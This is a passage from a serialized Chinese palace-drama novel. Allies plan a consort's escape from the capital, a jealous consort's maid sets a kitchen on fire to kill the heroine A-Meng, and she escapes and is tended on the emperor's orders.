“此言有理。”顾凛鹤沉吟片刻,忽地一拍桌案,“就算皇上怪罪下来,我也要护她周全!”
贺景行摇头失笑:“将军此言差矣。若真惊动了宫中守卫,岂不是害了阿孟?”他站起身,声音低沉,“宫中之事,由她自己应对。我们只需做好自己的部分。”
顾凛鹤冷着脸坐下,似乎十分不甘心:“我会安排可靠之人,在城南接应。你且告诉云珠,什么时候,何处交接。”
“东华门外,有座破庙,三日后子时。”贺景行从药箱中取出一枚铜钱大小的玉佩,“接头之人持此物为信。”
顾凛鹤接过玉佩,放入袖中:“我心甚忧。”
“我又何尝不是?”贺景行苦笑,“
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只是阿孟向来有主见,咱们要相信她的判断。只做她交代的事,才是真正帮她。”
“你说得对。”顾凛鹤眼中坚毅之色渐浓,“此事交给我便是,定不负所托。”
贺景行望着他这副模样,玩笑般抿嘴笑道:“将军呀,每次提起阿孟,你这防备的样子,活像个老夫老妻闹了一晚上别扭的丈夫。”
顾凛鹤无奈苦笑一声:“神医还是莫要打趣我了,只要能为阿孟做些什么,我心中便已经万分满足。”
“我知道顾将军情深义重,这也是阿孟愿意信任你的原因。”贺景行收起了笑意,正色道,“事不宜迟,我已想了法子。城郊有个商队,是我曾救过的病患,可借他们的商队掩护。徐才人只要出得城去,顺着商队便可远离京城。”
“商队?”顾凛鹤沉思片刻,眼中忽露精光,“此法可行。我会在城外驿站安排几名可靠的马夫,装作寻常赶车之人。等接应到人后,便混入商队离京。出城后再分道扬镳,以免连累商队。”
贺景行抚掌笑道:“将军果然智谋过人,一语中的。我本就担心商队被牵连,如此甚好。”
顾凛鹤起身踱步至窗边,低沉道:“只是,令我不解的是,阿孟为何要冒险救这位徐才人?”
“心善罢了。”贺景行眼中闪过一丝柔和,“孟家女儿,自小就是这般心性,如今看来,宫中磨砺并未改变她的本心。”
顾凛鹤背对着贺景行,肩膀微微紧绷:“越是这样,越是担忧。那皇宫中人心叵测,她若处处留情,怎能全身而退?”
“所以才有你我相助。”贺景行站起身,拍了拍他的肩,“你只管安排人手,其余的交给阿孟。那丫头,比咱们想象的要坚强得多。”
顾凛鹤转身,脸上写满坚决:“到时东华门外破庙,我亲自前往接应。”
“不可!”贺景行神色一凛,“若由你亲往,暴露身份怎么办?京中不知有多少双眼睛盯着你这个顾将军。”
顾凛鹤眉头紧蹙:“我不放心他人。”
第170章 执行计划
贺景行摇头失笑:“你这榆木脑袋,就不能学学阿孟,懂些权衡之道?派你最信任的亲信去便是,你只在暗中布置人手,以防不测。”
顾凛鹤思索片刻,终是点头:“你说得对。我会安排铁卫中最可靠的一人前往,另有暗桩护送。”
“如此甚好。”贺景行拿起药箱,抖了抖袖子,“时候不早了,我得回去安排那边的事。”
他向门口走去,忽又停步,头也不回地说:“记住,此事万勿泄露,尤其是令妹那边。”
想到顾奚慈,顾凛鹤冷冷道:“多谢神医,妹妹那边,我自有分寸。”
贺景行叹了口气,推门而出。
看着窗外远处城墙的轮廓,他心中涌起一阵不安。
他快步离开将军府,直奔伤病所,唤来跟随他多年的小药童。
“小七,”贺景行递给他一封密信,“速去城郊找李掌柜,就说我请他相助。事关重大,切记隐蔽行事。”
小药童欠身应下,转身便往城郊方向疾行而去。
他额上挂着细密的汗珠,却步履不停,直奔城郊而去。
李掌柜正在柜台后查看账簿,手指粗粝,布满岁月的痕迹。
客栈不大但整洁敞亮,正是他这十几年来的心血。
看到急匆匆闯入的小药童,他放下账簿,抬眼望去。
“小哥这般匆忙,是要住店还是打尖?”李掌柜温声问道。
小药童摇摇头,四下环顾确认无人注意,才快步上前,从衣襟内取出一封书信,双手递上。
“贺神医让小的送来的,说是要紧事。”
李掌柜眉头一跳,伸手接过。
目光落在信封上熟悉的笔迹,顿时神色一凛。
他小心翼翼拆开信封,目光快速扫过内容,额角隐隐跳动。
“贺神医还好吧?”他合上信纸,声音刻意压低。
“神医一切安好,只是托小的送信,说李掌柜定能相助。”
李掌柜轻叹一声:“五年前那场热病,若非贺神医妙手回春,老夫早已入土。这份恩情,我李某时刻铭记在心。”
他将信纸放在灯火上点燃,看着纸张化为灰烬,方才续道:“贵人之事,我必全力以赴。往东十里有条小路,是商队常走的捷径。到时候,我亲自带人接应,定不辱使命。”
小药童眼中闪着崇敬的光:“李掌柜果然重情重义!”
李掌柜摆摆手,从柜台下取出一个小荷包,塞到小药童手中。
荷包沉甸甸的,分明是一笔不菲的银两。
“这些银子,你带回去给神医添置些药材。就说是老夫的一点心意,还望神医笑纳。”
小药童推辞道:“这使不得,贺神医只让小的送信,没说要收银两。”
“拿去!”李掌柜不容拒绝,“这是我对神医的感激之情,岂能让你空手回去?况且,神医那伤病所整日施粥送药,想必用度甚大。”
他顿了顿,又压低声音:“此事干系重大,还望小哥莫要告诉旁人。”
“李掌柜放心,小的嘴严得很。”小药童郑重点头。
“好!回去告诉神医,就说李某定当竭力,保这位贵人平安脱险。”李掌柜掷地有声拱手相送
小药童再次欠身,转身离去。李掌柜望着他远去的背影,眼中思忖万千。
徐才人…………宫中人物,这可不是寻常买卖。
他转身回到内室,开始盘算细节,救命之恩,此刻正是报答的时候。
宫中,霞光已逝,暮色四合。
云珠脚步匆匆,进了苔蘅殿,额角还挂着几滴汗珠。阿孟正在窗前临帖,见她归来,搁下了毛笔。
“娘娘,办妥了!”云珠压低声音,双眸闪烁着喜悦,“贺神医和顾将军答应了,说定会全力相助。”
阿孟放松了紧绷的唇角,手指轻抚窗棂,眼里闪过一丝宽慰:“我就知道他们不会推辞。”
云珠将药包小心取出,放在几案上:“神医特意嘱咐,让娘娘按时服用,说您总是不顾自身安危。”
阿孟抿唇一笑,拆开包裹看了看药材:“也就师父和你还记得我连药都不会按时喝。”她抬眸,眼中神色转为严肃,“宫外的安排,他们如何说?”
“外面已经安排妥当,只是——”云
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珠犹豫片刻,担忧道,“如何把徐才人送出宫去?咱们总不能再用假死的法子,那太冒险了。”
阿孟起身踱步,纤细的手指轻轻点着桌面:“自然不会。若徐才人被打入冷宫,倒是容易些。只要不在墨司渊眼皮底下,便有机会悄悄将人带走。”
“冷宫?”云珠眉头紧蹙,“宫中有妃子上个月才被打入冷宫,没几日就——”她突然噤声,不敢说下去。
阿孟冷笑一声:“徐才人若被罚,我自会保她无虞。”
“可皇上和谢贵妃近来盯娘娘甚紧,”云珠咬着唇,“徐才人腹中的孩子若有个闪失,怕是——”
阿孟轻抚云珠的发丝,安慰道:“我自有打算,你且放心。”
午后时分,阿孟亲自端着一碗药汤,穿过曲折回廊,朝朝露宫行去。
清风拂面,药香随风飘散,她步履轻盈,眼中却藏着警惕。
转过一处回廊,朝露宫的轮廓渐渐清晰。
阿孟放慢脚步,却见宫门前站着两名腰挎佩剑的侍卫,还有周海。
阿孟心头一紧,暗叫不妙。
她悄然退后几步,将药碗倾倒在路旁,转身欲离。
“孟贵妃留步。”周海的声音从身后传来,犹如一盆冷水浇下。
阿孟停住脚步,缓缓转身,唇边挂着得体的浅笑:“周侍卫有何事?”
“贵妃娘娘来朝露宫所为何事?”周海目光如炬,审视着她,“皇上正在里面陪伴谢贵妃。”
阿孟微微低头,掩饰眼中闪过的冷意:“既然皇上在陪谢贵妃,我自不便打扰。”
“娘娘这是要走?”周海拦住去路,“可是刚才我看娘娘手中似乎拿着什么东西?”
阿孟心中冷笑,面上却依旧温婉:“日前谢贵妃身子不适,我特意过来看看。既然皇上在,我自当回避,改日再来不迟。”
周海眉头微皱:“皇上近日格外关心谢贵妃的身体,娘娘若有良药,何不当面递上?”他转头吩咐身旁小太监,“去禀报皇上,就说孟贵妃在门外。”
阿孟暗自咬牙,却也只能应允:“那就烦请通传。”
第171章 嫉妒
朝露宫内,谢妤靠在锦榻上,墨司渊坐在她身侧,正低声说着什么。
谢妤眼中含笑,明艳的面容显得尤为娇媚。
小太监轻叩房门,低声道:“皇上,奴才来禀报,孟贵妃在宫外。”
谢妤的笑容顿时僵住,眼中闪过一丝荫翳。
只是墨司渊身形微僵,眼中闪过一抹别样的光彩:“哦?她来做什么?”
小太监恭敬回道:“孟贵妃说,她是来看娘娘的。”
墨司渊嘴角微勾:“让她进来吧。”
谢妤强压心中不悦,眼中寒光如刀。
墨司渊察觉到她的情绪变化,轻声问道:“爱妃可是不愿见她?”
谢妤勉强笑道:“臣妾怎会不愿?只是身子乏了些,怕扫了皇上和孟贵妃的兴致。”
墨司渊捏了捏她的手:“朕只是想看看她带来什么药,若是爱妃不想见,朕可命她改日再来。”
谢妤连忙摇头:“皇上说的哪里话,臣妾怎会因小事扰了龙颜?”她扬起笑容,却掩不住眼中的怨毒,“孟贵妃有心,臣妾求之不得才是。”
墨司渊凝视她片刻,似笑非笑道:“爱妃心胸宽广,朕甚是欣慰。”
得到准许,周海恭谨地将门打开,引阿孟入内。
一步**内,阿孟便察觉气氛凝滞如冰。谢妤靠在锦榻上,面色不善;墨司渊则斜倚在榻旁,眼中噙着玩味。所谓龙潭虎穴,不过如此。
“臣妾参见皇上。”阿孟敛裾屈膝,一派恭顺,却丝毫不减婳逾冰雪的气度。
墨司渊修长的手指轻敲榻沿:“爱妃过来。”
他淡淡道,转而瞥向谢妤:“想必爱妃已经口渴了,让孟妃给你倒杯茶如何?”
这话一出,谢妤眼中闪过一丝幽怨。
她微微抬头,含着病弱的妩媚看向阿孟,心中却是一片冰冷。这孟贵妃,定是故意来搅扰她与皇上相处!
“臣妾正在服药,不便饮茶。”谢妤声线轻柔,却话锋一转,“不过,听闻孟贵妃熬制补汤颇有心得。皇上日理万机,不如就由孟贵妃在宫中亲手熬一碗补汤,正好臣妾与皇上都能饮用?”
阿孟心底冷笑。所谓捧杀,不过如此。
她微敛双眸,遮掩锐利的目光。谢妤分明是要将她当成丫鬟使唤,让她下不来台。
“确实如此。”墨司渊却是欣然应允,目光在两女之间游移,“爱妃说得对。孟妃,你且去准备,朕与谢妃正好等着品尝。”
阿孟心中明了,这不过是一场势力角逐的试探。低头,是认输;抗争,是自取其辱。
“皇上吩咐,臣妾自当照办。”她轻声应下,不卑不亢,转身迈向殿外。
外面艳阳高照,内里却是寒意入骨。
阿孟欲退,裙摆轻拂地面,转身之际,却被墨司渊修长的手指一把攥住。
他眸中暗潮涌动,语气沉冷:“你就这般喜欢做他人奴婢?”
殿内空气骤然凝滞,阿孟被迫停住脚步。
墨司渊手指收紧,目光灼灼:“自回宫以来,事事勤恳,却从未主动向朕开口求过什么。怎么,在你心里,朕这个皇帝就这般没有分量?”
“皇上恕罪。”阿孟面不改色,心头却冷笑。这男人,当真可笑至极。她微微垂眸,藏起眼中冷意,“臣妾不敢有任何怠慢。”
谢妤在一旁看得目眦欲裂,心中嫉妒如同毒蛇噬咬。
墨司渊竟在她面前,对那女人如此亲近?
她勉强压下怒火,眼中却涌起怨怼。那个女人何德何能,竟引得皇上这般在意?
“我并非不知分寸。”阿孟不卑不亢,轻轻抽回手腕,“谢贵妃身子虚弱,正需皇上怜惜。臣妾本为医女,照顾病患本就是分内之事。”
她淡声道:“既是皇上下令,臣妾自当照办,这与奴婢何干?”
墨司渊眸色渐深,薄唇紧抿,这女人如一块顽石,怎样敲打都难以撬开一条缝隙。
他刚要再言,谢妤却突然娇喘一声,柔弱地抓住他的衣袖。
“皇上……”谢妤面色苍白,柳眉微蹙,含泪低唤,“臣妾……心口突然难受……”
墨司渊眉头一皱,不得不转过身去,轻声安抚:“爱妃莫急,朕这就唤太医。”
阿孟借机退后两步,挑眉看向谢妤,目光平静
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中带着几分嘲弄。这猫哭耗子的戏码,她见得太多。
“皇上若无其他差遣,”阿孟适时开口,“臣妾这便去准备汤药。谢贵妃的身子要紧。”
墨司渊转头看她一眼,眼中情绪复杂:“去吧。”
阿孟福身告退,身影消失在殿门后。
谢妤的病态立刻减轻几分,心中怒火却更甚。为这个女人装病,她早晚要讨回来!
殿中只剩下一对君妃,墨司渊的目光却停留在那已然空荡的门口处。
红豆轻咬下唇,站在门外石阶上,手指不自觉地捏紧了衣襟。
见阿孟沉着脸色走出,她心中顿时起疑,眼中闪过一丝阴鸷。
红豆还想再问,却见阿孟已迈步离去,裙摆翩然,背影清傲。
她紧紧攥住手帕,恨得牙痒,却又顾忌着殿内的皇上,不敢声张。
殿内,谢妤依偎在墨司渊怀中,眉目间尽是娇弱之态。
“皇上,臣妾好多了,只是心口方才突然一阵刺痛……”谢妤声音轻若蚊蚋,指尖却紧紧攥住墨司渊的衣袖。
墨司渊目光收回,低头看着怀中的美人,眸中却是不动声色的疏离。
她这突如其来的病态,分明是看不得他与阿孟接近。
“爱妃无碍便好。”墨司渊温声道,眼神却透着几分疲倦,“这宫中之人,都是些何等心机。”
谢妤心头一颤,忙抬头凝望墨司渊:“皇上此言何意?臣妾一片赤诚,从不敢有半分虚假。”
墨司渊看了她一眼,嘴角浮起一抹若有若无的微笑:“朕不过随口一言,爱妃何必如此紧张?”
“臣妾只是担忧皇上误会……”谢妤眼眶微红,楚楚可怜。
墨司渊轻轻拍了拍她的手背,却已有几分不耐烦:“朕想去庭院走走,待那补汤熬好,再来陪爱妃。你且好好歇着。”
“那臣妾随皇上一同……”谢妤作势欲起。
“不必了。”墨司渊轻按她肩膀,“有宫女陪着你便是。”
谢妤不得不重新躺回锦榻,眼底的不甘一闪而过,却又换上温柔的微笑:“臣妾遵旨,只盼皇上早些回来。”
第172章 失火
墨司渊颔首,转身大步离去,身影很快消失在殿门外。
殿内顿时安静下来,谢妤脸上的笑容倏然褪去,眼中涌上熊熊怒火。
她猛地坐起身,丢开手中的锦帕:“红豆!”
红豆闻声快步进来:“娘娘。”
“那个**!”谢妤咬牙切齿,“竟敢当着本宫的面勾引皇上!她以为自己是谁?”
红豆恭敬道:“娘娘息怒,气坏了身子不值当。”
“你没看到皇上方才的眼神吗?”谢妤拍案而起,“他竟然为了那个女人,对本宫的话充耳不闻!”
红豆上前,低声劝道:“娘娘且忍一时。孟贵妃医术高明,娘娘如今身子不适,还需她医治。若动了她,恐怕对娘娘不利。”
谢妤眼中闪过一丝犹豫,随即冷笑:“你倒是会替她说话。”
“奴婢不敢。”红豆眼底闪过一丝冷光,温言软语道,“只是奴婢在想,若能让她无声无息地消失,岂不比现在冒险对付她更好?”
谢妤眯起眼睛,嘴角浮起一丝残酷的笑意:“你说得对,先留她一命,等本宫不再需要她的时候…让她后悔来到这世上。”
“娘娘英明。”红豆垂首,眼中闪过一丝阴狠,“奴婢这就去看看,那位贵妃娘娘的补汤可做得如何了。”
谢妤靠回锦榻,眼底一片阴冷:“好好盯着她,别让她有机会在皇上面前献殷勤。记住,本宫要的,谁也抢不走!”
红豆微微一笑,转身离去。
她轻挪莲步,远远尾随着阿孟的身影,一路跟至小厨房。
此时并非用膳时辰,厨房里空无一人,只有阿孟独自忙碌。
红豆蹲在门外,未敢贸然闯入,而是静静观察着里面的动静。
阿孟背对门口,正在生火准备烧水,似乎全无察觉身后有人窥视。
“这位孟贵妃,倒是会讨皇上欢心。”红豆冷冷一笑,眼球转动,心中顿生一计,“既然谢贵妃讨厌你,那我便送你一份大礼。”
她悄无声息地退开几步,四下环顾确认无人后,快步走向不远处的油灯架。
轻巧地取下一只火折子,又从墙角找来一根结实木棍。
红豆躲在拐角处,耐心等候时机。
阿孟在厨房内专心煎药,将几味草药放入锅中,见水渐渐沸腾,便伸手去取壶柄。
就在阿孟即将端起滚烫药壶的刹那,房门突然被大力合上。
她一惊,药壶差点脱手,忙放回炉上,快步走到门前。
“谁在那里?”阿孟试着推门,却发现门被卡住纹丝不动。
门外,红豆抵上木棍,嘴角勾起残忍的笑:“孟贵妃,没想到吧?今日便让你尝尝滋味。”她从袖中取出一小瓶灯油,沿着木门下缘洒了一圈,又在周围地面多处洒上。
阿孟闻到门外传来的油味,心下顿时了然,眼中闪过一丝凌厉:“是谢妤身边的丫鬟!”她快速环顾四周,寻找可用之物。
“孟贵妃,你不是要做药汤吗?”红豆冷笑着点燃火折,声音里满是恶意和大仇得报的快感,“今日便让你尝尝被火烤的滋味!谢贵妃让我好好盯着你,可没说要把你完整带回去。”
火折子落在灯油上,刹那间火苗窜起,很快蔓延至整个门框。
熊熊烈焰伴随着木头燃烧的噼啪声,一道火墙将门彻底封死。
厨房内,阿孟面露沉静,目光在燃烧的门与滚烫的药锅间快速游移
“宫内放火,莫不是不要命了么?!”阿孟声音清冷,隔着烈火传出,不见丝毫慌乱。
红豆心头一跳,不由自主退后两步:“装腔作势!等火势大了,看你还如何嘴硬!”
撂下这句狠话,她飞快撤离现场,只留下熊熊燃烧的厨房门。
火舌如贪婪的恶兽,迅速沿着门框攀爬,门窗转眼被火海吞噬。
阿孟将手中的清水全部泼洒而出,却只激起几缕白烟,未能阻止火势蔓延。
厨房内烟雾渐浓,热油沸腾迸溅,火势愈发猛烈。
阿孟抿紧唇角,眼中冷静。
她迅速打开水缸,舀了几盆水向火势倾倒,却依然难敌火势。
“这贱婢竟敢在宫中纵火。”阿孟目光锐利如刀,迅速解下外衫,浸入水缸,而后披在身上。
烟雾滚滚,熏得她眼角发红,却未见一丝慌乱。
她蹲下身,用湿衣掩住口鼻,寻找逃离之机。
朝露宫外,周海正陪着墨司渊,忽闻异
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常响动,抬头便见黑烟自小厨房处冲天而起。
他面色骤变,立即奔向御花园。
“皇上!”周海面色凝重,单膝跪地,“朝露宫小厨房失火,情况紧急!”
墨司渊闻言,手中棋子落地,眼中闪过一丝震惊:“什么?厨房?”他猛然站起,脑海中闪过一个人影,“阿孟不是去那里熬药了吗?”
他不等周海回答,大步疾行,甚至顾不上整理衣袍,直奔朝露宫方向。
宫女太监早已持水桶奔走,却见火势凶猛,众人一时手忙脚乱。
“都愣着做什么?!快救火!”墨司渊厉声喝道,目光焦急扫向厨房,“阿孟呢?可有人见到孟贵妃?”
周围宫人面面相觑,无人回应。
墨司渊眉头紧锁,竟要直接冲向火场。周海连忙上前拦住:“皇上不可!您乃万金之躯,怎能冒险!”
“混账!”墨司渊眼中怒火喷薄,挣脱周海的手,“阿孟还在里面!”
“皇上!”周海跪地相拦,“您是真龙天子,可不敢让您涉险!请让侍卫前去搭救!”
墨司渊胸口剧烈起伏,目光紧锁那熊熊烈焰:“若她有半点闪失,朕要你们所有人陪葬!”
“是!”周海迅速起身,高声命令,“来人!结阵突入,救出孟贵妃!”
众侍卫应声而动,各持水桶朝火场靠近,水花四溅间,烈焰渐渐低落,黑烟却仍如巨**盘旋不散。
朝露宫内,红豆轻手轻脚地推开门,脸上挂着得意的笑。
谢妤正倚在锦榻上,她闻声抬头,眉梢微挑。
“大功告成了?”谢妤细长的指尖轻点珍珠,声音如蜜糖般甜腻。
红豆掩唇低笑:“回娘娘,一切都安排妥当了。那孟贵妃被困在厨房里,烈火熊熊,怕是早已……”她做了个抹脖子的手势。
谢妤眼中闪过一抹阴冷的笑意,素手揉捏着手中绢帕:“做得好!本宫早就看她碍眼,不过是个会些医术的贱婢,竟敢在皇上面前摆架子。”
“宫里都传遍了,皇上亲自去看火势了。”红豆附耳低声道,“皇上可是急得很呢。”
谢妤脸色蓦然一沉,眸中闪过一丝阴鸷:“皇上去了?”
第173章 失败
谢妤脸色蓦然一沉,眸中闪过一丝阴鸷:“皇上去了?”
红豆面色微僵,察觉主子语气有异:“是啊,皇上似乎十分着急,连早朝都没去。”
“荒唐至极!”谢妤猛然扯碎手中绢帕,珍珠崩落满地,“不过一个**,何以惊动龙颜!”
红豆低眉顺眼,心下却暗觉不妙:“娘娘别生气,想必皇上只是惦记火势,怕殃及宫中别处。”
“呵。”谢妤冷笑一声,起身踱步,裙裾摆动时碾过落地珍珠,“本以为一把火能解我心头大患,没想到反倒让那贱婢得了宠爱。”
“娘娘言重了,那孟贵妃如此大火,怕是早已成了灰烬。”红豆上前,小心翼翼地搀扶主子。
谢妤却甩开她的手:“别碰本宫!若非你的主意,如何会惹皇上动怒?”
红豆跪地叩首:“奴婢该死,可事已至此,不如派人去看看究竟。若那孟贵妃真入黄泉,皇上定会息怒。若她命大,也好及早定夺。”
谢妤眼中寒光闪烁:“去!你亲自去看个究竟。若让本宫知道你敷衍,定叫你好看!”
火场外,墨司渊面沉如铁,目光紧锁燃烧的厨房。黑烟滚滚中,火舌如同饥饿的野兽,吞噬着木制结构。
“水,再加水!”周海高声吩咐,宫人们手忙脚乱往火上浇水,却收效甚微。
墨司渊双拳紧握,眼中燃烧着比火更炽热的怒意:“阿孟若出事,朕要你们全府上下陪葬!”
他转向周海:“区区小火,为何救不出人来?!”
“回皇上,火势太大,靠近不得。”周海战战兢兢,额上冷汗直流。
墨司渊猛然挣脱侍卫阻拦,大步向前:“朕要亲自进去!”
周海惊慌失措:“皇上万万不可!您若有闪失,臣等万死莫赎!”
“闪开!”墨司渊怒喝一声,眼看就要冲入火海。
身后众侍卫面面相觑,不敢前拦,只得紧随其后。
就在墨司渊即将踏入火场的刹那,厨房侧面一处窗棂轰然断裂,烟尘四散中,一道身影从窗洞中跃出,重重摔在地上。
“是孟贵妃!”一名小宫女尖声叫道,“是孟贵妃出来了!”
墨司渊猛然转身,眼中闪过难以置信的光芒。他三步并作两步冲到那身影前,双手颤抖着将人抱起。
阿孟全身湿透,衣衫烧灼破损,面颊上沾满烟灰,几缕青丝凌乱散落。她微微咳嗽着,睁开眼,看清抱着自己的人后,眼中闪过一丝复杂情绪。
“放开我。”阿孟声音微弱却坚决,试图挣脱。
墨司渊却抱得更紧,指节微微发白:“你知不知道朕差点以为——”
“以为什么?”阿孟冷笑,眼神如刀,“以为又要少一个可供利用的棋子?”
墨司渊面色一滞,随即收敛情绪,声音恢复威严:“荒唐!朕不过担心皇嗣无人医治。”
阿孟嗤笑一声,终于挣脱墨司渊的怀抱,踉跄着站稳身子:“皇上大可放心,臣妾命大,不会轻易死去。”
墨司渊眼中闪过一丝痛色,却转瞬即逝:“你乃朕妃嫔,朕自当关心。”
阿孟正欲回应,忽见人群外围,红豆正悄然窥探。
烟尘未散,阿孟喘息不匀,被墨司渊紧抱着的姿势让她极不舒服。
她抬手抵住他的胸膛,用力推了一下,又一次让墨司渊松手。
“放开。”
墨司渊不但没有松手,反而将她搂得更紧,低沉的声音带着几分不易察觉的颤抖:“别走……别走。”
阿孟挣扎得更厉害,额角青筋微露:“墨司渊,我快喘不过气了。”
这一声直呼其名,让周围宫人皆是一愣,目光纷纷落在皇帝身上。
墨司渊也愣住了,手上力道微松,却未完全放开。
“你刚才……叫朕什么?”
阿孟冷笑一声,眼中寒光乍现:“臣妾失礼了,只因火势太急,一时忘了尊卑。”
墨司渊眸色幽深,缓缓松开手,退后半步打量她:“无碍。你受了惊,称呼错了也情有可原。”
“皇上既然不怪罪,那臣妾告退了。”阿孟转身欲走。
墨司渊突然伸手,一把将她打横抱起,动作之快,令人猝不及防。
“你做什么?!”阿孟挣扎着,散落的青丝在空中划出弧线。
“别动。”墨司渊语气不容置疑,“你浑身湿透,又吸了许
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多浓烟,若不及时医治,恐怕误了身子。”
“我自己能走!”
“不必争了。”墨司渊冷声道,大步朝前方走去,声音提高了几分,“周海,命人继续灭火!其余人等,速去通知御医,即刻前往苔蘅殿!”
“皇上,您不必—”
“闭嘴。”墨司渊面色阴沉,眼中暗涌翻滚,“你若再敢说一个不字,朕即刻命人彻查这场火灾的来源,责罚所有相关人等!”
阿孟心头一紧,便不再出声。她清楚得很,若真追查下去,恐怕又要牵连无辜。
红豆躲在人群后方,见此情景,面色煞白。她飞快地转身离去,心中盘算着如何向谢妤交代。
一路无言,墨司渊抱着阿孟穿过曲折回廊,直奔苔蘅殿。宫女们见状,纷纷低头避让,却又忍不住侧目偷看。
“皇上,您放我下来吧。”阿孟声音微弱,自知此刻挣扎无用,只好改用商量的口吻,“前面就是苔蘅殿了,让我自己走进去。”
墨司渊低头看她一眼,眼神复杂:“你就这么受不得朕的碰触?”
阿孟一愣,随即冷笑:“臣妾只是不愿让旁人看了笑话。”
“朝中百官,后宫嫔妃,有谁敢笑话朕的决定?”墨司渊冷冷地说,“除非他们活腻了。”
阿孟不再言语,只是目光投向远处,一片冷漠。
踏入苔蘅殿,宫女们早已备好热水和干净衣物。墨司渊将阿孟放在榻上,声音忽然放柔:“把衣服换了,别着凉。”
阿孟别过头去:“请皇上离开。”
墨司渊盯着她半晌,终于转身离开内室,却并未离开苔蘅殿。
不多时,宫女们进来服侍阿孟更衣。她
沉默着任由宫女摆弄,心中却在思量:这场火,怕是谢妤使的手段。红豆方才鬼鬼祟祟,定是来查看自己是死是活。
“报告皇上,太医已经到了。”外室传来侍从的声音。
谢妤的寝宫内,红豆慌慌张张跑回,一进门就跪倒在地:“娘娘,不好了!孟贵妃没事!皇上还亲自抱着她去了苔蘅殿,召了太医!”
谢妤的茶盏“啪”地落地,碎片四溅:“你说什么?!”
第174章 关怀
红豆伏地叩首:“娘娘恕罪!奴婢也不知道她是怎么逃出来的,听说是从窗户跳出来的。”
谢妤冷笑一声,走到红豆面前,提起绣鞋就踢在她肩上:“废物!连这点小事都办不好!”
“娘娘饶命啊!”红豆痛得缩成一团,“奴婢也是按您的意思去办的,谁知道那**命这么硬。”
“你还敢狡辩?”谢妤怒极反笑,“本宫何时让你放火了?这种蠢事也敢做,要是查到你头上,连本宫也要被牵连!”
红豆额头抵地,泪如雨下:“娘娘,奴婢也是一心想为您除掉那碍眼的**。奴婢该死,奴婢罪该万死!”
谢妤在殿中来回踱步,指甲深深掐入掌心。
她本以为这一把火能解决心腹大患,没想到非但没烧死阿孟,反而给了墨司渊一个亲近她的机会。
“皇上现在在哪里?”谢妤突然停下脚步。
“回娘娘,皇上还在苔蘅殿。”红豆小心翼翼地回答,“奴婢看见皇上命人传了太医。”
“好得很!”谢妤咬牙切齿,“那**装得可真像,不过是区区一场火,就博得皇上这般怜惜!”
她转向红豆,眼中闪过一丝狠厉:“去,你现在立刻去苔蘅殿,就说本宫担心孟贵妃的伤势,特意命你去问候。”
红豆犹豫道:“可娘娘,奴婢若去了,孟贵妃会不会认出是奴婢放的火?”
“蠢货!”谢妤低声呵斥,“她若敢指认,你只管矢口否认。没有证据,她能奈你何?本宫要你去,是为了盯着他们在做什么,说什么!”
红豆不敢再言,只得应声而去。
谢妤望着她离去的背影,面容阴鸷:“阿孟,你逃过一劫,但休想与本宫争宠。下次,本宫定要你永无翻身之日!”
苔蘅殿外已是一片忙碌。墨司渊坐在外室,面色阴沉如水,时不时望向内室方向。
太医战战兢兢地为阿孟诊治,宫女们则小心地伺候在侧。
云珠听到消息后赶来,看到殿前跪了一地的宫人,心中顿时一沉。她快步走到殿前,福身行礼:“参见皇上。”
墨司渊冷眼瞥她:“你家主子如何了?”
“回皇上,奴婢刚到,尚未得知娘娘的情况。”云珠垂首,不敢多言。
墨司渊哼了一声:“你且进去看看。”
云珠得了允许,快步入内。
一进门,就见阿孟斜靠在床榻上,脸色苍白,衣裙已换成干净的常服,但眉眼间仍带着几分倦意。
“娘娘!”云珠喊出声来,眼圈顿时红了,“您这是怎么了?”
阿孟抬眼看她,摇摇头示意她不要声张:“无妨,只是被烟熏了些。”
太医正在收拾药箱,听到声音回头道:“贵妃娘娘吸入了不少浓烟,我已开了药方,服用三剂药便可无碍。幸亏皇上及时相救,否则后果不堪设想。”
云珠瞪大眼睛:“是谁这么大胆子,竟敢在宫中放火?”
阿孟眼中闪过一丝冷光,轻声道:“无妨,不过是意外罢了。”
云珠凑近阿孟耳边,压低声音:“娘娘,是不是谢妤那边的人做的?”
阿孟目光微微一沉,却没有直接回答:“此事不必再提。”她顿了顿,“我好得很,你去外面告诉皇上,我已无大碍,请他早些回去处理政务。”
云珠刚要起身,廊下已传来脚步声。墨司渊撩开帘子,大步入内:“不用禀报了,朕自己来看。”
他走到榻前,居高临下地看着阿孟:“太医怎么说?”
阿孟别过脸去,不愿与他对视:“臣妾无碍,皇上大可放心,不必亲自守着。”
“朕自会决定去哪儿,不需你多言。”墨司渊声音冷硬,却又透着一丝微不可察的紧张,“朕会查清这场火灾的来源。若是有人存心加害,朕必不轻饶。”
阿孟心底冷笑,面上却不动声色:“皇上明鉴,不过是厨房失火罢了,何必大动干戈。”
墨司渊眯起眼睛:“你这是在包庇谁?”
“臣妾没有包庇任何人,”阿孟目光坦然,“只是不愿因小事劳动皇上。”
“小事?”墨司渊声音陡然提高,“若朕晚
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到一步,你岂不是已经…………”
他的声音戛然而止,似乎不愿说出那个可能。
阿孟眼帘低垂,心中百味杂陈。这男人,莫非当真对她还有几分情意?还是只因她医术高明,还有利用价值?
“皇上。”一个怯怯的声音从殿外传来,打破了屋内凝滞的气氛,“奴婢红豆,奉谢贵妃之命,前来问候孟贵妃。”
阿孟闻声,眼中寒芒乍现。
墨司渊似有所察,回头看向门外:“让她滚。”
侍从的声音传来:“是,奴才这就去回绝。”
墨司渊转向阿孟,目光锐利如刀:“你还有什么伤处?”
阿孟抿唇不语,云珠低声道:“回皇上,方才娘娘换衣时,奴婢看见她手臂上有烧伤。”
“看看伤势!”墨司渊厉声道。
太医额头沁出细汗,颤声向阿孟请示:“娘娘,老臣可要查看您的伤处?”
阿孟冷眼看着墨司渊:“何必麻烦太医,不过小伤罢了。”
“这是朕的旨意!”墨司渊声音骤沉,“难不成你要抗旨?”
阿孟勾唇一笑,那笑意不达眼底:“臣妾不敢。”
太医战战兢兢地掀开阿孟袖子,一道触目惊心的烧伤赫然呈现,皮肉泛红翻卷,有些地方甚至已经起了水泡。
云珠倒抽一口凉气,眼泪瞬间涌出:“娘娘!”
墨司渊眸色陡变,黑沉如墨。
他下意识伸出手,却又硬生生收了回去,指尖微颤:“疼吗?”
“不疼。”阿孟声音平静如水,仿佛受伤的不是自己。
“撒谎!”墨司渊眼中怒火翻涌,“区区肉体之痛,你若不愿示弱,大可不必言语,但莫要欺瞒朕!”
阿孟冷笑:“臣妾有何资格欺瞒圣上?不过是小伤,确实不值一提。”
